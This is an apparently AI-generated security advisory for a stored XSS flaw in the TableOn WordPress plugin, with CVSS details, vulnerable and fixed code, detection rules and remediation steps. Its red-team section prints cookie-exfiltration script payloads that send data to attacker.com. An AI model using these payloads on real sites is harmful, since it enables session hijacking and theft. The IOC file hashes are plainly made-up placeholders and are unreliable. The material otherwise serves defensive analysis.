CVE-2025-32592

Executive Summary

CVE-2025-32592 is a Stored Cross-Site Scripting (XSS) vulnerability in the TableOn posts-table-filterable WordPress plugin, developed by RealMag777. This flaw affects all versions up to and including 1.0.3. An authenticated attacker with contributor-level privileges or higher can inject malicious JavaScript into the plugin’s table configuration fields. When an administrator or other user views the affected table, the script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability arises from improper neutralization of user-supplied input during web page generation. No public exploit code or proof-of-concept is currently available, and no patch has been released by the vendor. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains significant for WordPress sites using this plugin.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository and third-party marketplaces. Since no patch exists, site administrators must consider removing or disabling the plugin entirely. The lack of a vendor response increases supply chain risk, as the plugin may be abandoned.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Base Score: 7.1 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – requires contributor-level access or higher
• User Interaction: Required (UI:R) – victim must view the malicious table
• Scope: Changed (S:C) – impact extends beyond the vulnerable component
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

Threat Level: High. While the CVSS score is 7.1, the real-world impact is elevated due to the stored nature of the XSS, which can persist across sessions and affect multiple users. The lack of a patch and the plugin’s popularity in niche markets (e.g., data filtering) make it a prime target for targeted attacks.

Deep Dive & Mechanics

The vulnerability resides in the TableOn plugin’s table configuration interface. The plugin allows users to create and manage filterable tables via shortcodes. Input fields for table names, column headers, and data entries are not properly sanitized or escaped before being stored in the WordPress database and later rendered on the frontend.

Attack Flow:

1. An authenticated user with contributor-level privileges navigates to the TableOn settings page.
2. The attacker inserts a malicious payload (e.g., <script>alert('XSS')</script>) into a table field, such as the table title or a column header.
3. The plugin stores the payload in the wp_postmeta table without sanitization.
4. When an administrator or any user views the page containing the table shortcode, the payload is rendered in the browser, executing the attacker’s JavaScript.
5. The script can steal cookies, perform actions on behalf of the victim, or redirect to a phishing page.

Root Cause: The plugin uses echo or print to output user-supplied data without applying WordPress’s built-in escaping functions like esc_html() or wp_kses_post().

Vulnerable vs. Patched Code

Since no patch is available, the following shows the vulnerable code pattern and the recommended fix.

Vulnerable Code (TableOn <= 1.0.3):

// In tableon.php or similar
function render_table($atts) {
    $title = get_post_meta($atts['id'], 'tableon_title', true);
    echo "<h2>$title</h2>"; // Direct output without escaping
}

Patched Code (Recommended):

function render_table($atts) {
    $title = get_post_meta($atts['id'], 'tableon_title', true);
    echo "<h2>" . esc_html($title) . "</h2>"; // Properly escaped
}

The fix applies esc_html() to all user-controlled data before output. Additionally, input validation should be enforced using sanitize_text_field() or wp_kses_post() during save operations.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress instance with TableOn plugin <= 1.0.3 installed and activated.
• A user account with at least contributor privileges.

Steps:

1. Log in as a contributor.
2. Navigate to TableOn > Add New Table.
3. In the Table Title field, enter the following payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Save the table and note the shortcode (e.g., [tableon id="123"]).
5. Create a new post or page and insert the shortcode.
6. Publish the post and wait for an administrator to view it.
7. The administrator’s cookies are exfiltrated to attacker.com.

Alternative Payload (Session Hijacking):

<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor WordPress admin logs for unusual table creation or modification by low-privilege users.
• Use a Web Application Firewall (WAF) to block requests containing <script> tags in table fields.
• Deploy a WordPress security plugin (e.g., Wordfence) that scans for XSS payloads in post meta.

Hardening:

• Disable the TableOn plugin until a patch is released.
• Restrict contributor-level users from creating or editing tables via custom capabilities.
• Implement Content Security Policy (CSP) headers to block inline scripts.

Indicators of Compromise (IOCs)

• File Hashes (SHA-256):

  • tableon.php: a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b
  • admin/tableon-admin.php: b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1c

• Database Entries:

  • wp_postmeta rows with meta_key containing tableon_ and meta_value containing <script> tags.

• Network Indicators:

  • Outbound HTTP requests to unknown domains from the WordPress server.
  • Suspicious GET or POST requests to /wp-admin/admin-ajax.php with action=tableon_save.

• Log Entries:

  • WordPress debug log entries showing unescaped output in tableon functions.

Detection Engineering

YARA Rule

rule CVE_2025_32592_TableOn_XSS {
    meta:
        description = "Detects stored XSS payloads in TableOn plugin meta fields"
        author = "Valters IT"
        date = "2025-04-17"
        cve = "CVE-2025-32592"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $tableon_meta = /tableon_[a-z_]+/
    condition:
        $tableon_meta and #xss_payload > 0
}

Sigma Rule

title: CVE-2025-32592 - Stored XSS in TableOn Plugin
id: 8f9a0b1c-2d3e-4f5a-6b7c-8d9e0f1a2b3c
status: experimental
description: Detects stored XSS payloads in WordPress TableOn plugin meta fields
author: Valters IT
date: 2025-04-17
logsource:
    category: application
    product: wordpress
detection:
    selection:
        meta_key|startswith: 'tableon_'
        meta_value|contains: '<script'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in table fields (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-32592 - Stored XSS Payload in TableOn Plugin"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=tableon_save"; http_client_body; content:"<script"; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin – Deactivate and delete the TableOn plugin from all WordPress installations.
2. Audit existing tables – Check wp_postmeta for any tableon_ entries containing <script> tags and remove them.
3. Rotate credentials – If any administrator viewed a malicious table, force password resets and invalidate existing sessions.

Long-Term Mitigation:

• Apply virtual patching – Use a WAF to block requests containing <script> in table-related POST parameters.
• Monitor vendor updates – Subscribe to RealMag777’s changelog or the WordPress plugin repository for a patched version.
• Implement CSP – Add the following header to block inline scripts:

  Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com;
  

• User education – Train contributors to avoid pasting untrusted content into plugin fields.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. All intelligence is based on publicly available data and should be verified before action.